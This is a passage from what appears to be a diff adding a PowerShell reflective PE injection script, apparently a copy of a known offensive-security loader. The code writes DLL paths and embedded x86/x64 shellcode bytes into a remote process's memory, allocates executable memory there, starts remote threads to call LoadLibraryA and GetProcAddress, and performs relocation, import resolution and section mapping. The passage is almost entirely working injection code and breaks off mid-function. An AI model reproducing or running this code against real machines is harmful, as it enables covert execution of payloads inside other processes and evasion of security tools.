NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt 